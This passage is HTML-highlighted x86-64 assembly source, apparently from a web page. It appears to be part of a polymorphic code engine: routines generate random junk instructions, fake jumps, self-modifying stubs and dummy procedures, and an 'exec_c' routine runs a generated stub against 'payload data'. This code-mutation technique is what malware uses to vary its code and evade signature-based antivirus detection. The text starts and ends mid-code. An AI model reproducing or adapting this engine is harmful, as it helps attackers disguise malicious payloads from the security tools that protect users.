    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; basic junk&lt;/span&gt;
&lt;span class="nl"&gt;trash:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_push_pop&lt;/span&gt;

    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;            &lt;span class="c1"&gt;; push/pop junk&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.push_no_rex&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x41&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="nl"&gt;.push_no_rex:&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH_REG&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.pop_no_rex&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x41&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="nl"&gt;.pop_no_rex:&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;POP_REG&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
&lt;span class="nl"&gt;.skip_push_pop:&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; jumps&lt;/span&gt;
&lt;span class="nl"&gt;gen_jmp:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.short_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JMP_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.jmp_exit&lt;/span&gt;
&lt;span class="nl"&gt;.short_jmp:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JMP_SHORT&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
&lt;span class="nl"&gt;.jmp_exit:&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; self-modifying junk&lt;/span&gt;
&lt;span class="nl"&gt;gen_self:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;CALL_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JMP_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x04EB&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;POP_REG&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH_REG&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; advanced junk procedures&lt;/span&gt;
&lt;span class="nl"&gt;gen_trash:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.try_proc2&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;CALL_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x07EB&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE5&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;FNINIT_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5D&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.exit_trash&lt;/span&gt;

&lt;span class="nl"&gt;.try_proc2:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.try_proc3&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;CALL_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0AEB&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x60&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xD12BC333&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6193C38B&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x61&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.exit_trash&lt;/span&gt;

&lt;span class="nl"&gt;.try_proc3:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.exit_trash&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;CALL_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x525010EB&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC069&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x90&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x2D&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDEADC0DE&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x585A&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

&lt;span class="nl"&gt;.exit_trash:&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; dummy procedures&lt;/span&gt;
&lt;span class="nl"&gt;gen_dummy:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_dummy&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;CALL_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;TEST_REG_REG&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JZ_SHORT&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE5&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;FNINIT_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;FNOP_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xB8&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;stosq&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5D&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

&lt;span class="nl"&gt;.skip_dummy:&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; execute generated stub&lt;/span&gt;
&lt;span class="nl"&gt;exec_c:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                                &lt;span class="c1"&gt;; stub code&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;                                &lt;span class="c1"&gt;; stub size&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;                                &lt;span class="c1"&gt;; payload data&lt;/span&gt;

    &lt;span class="c1"&gt;; validate input&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
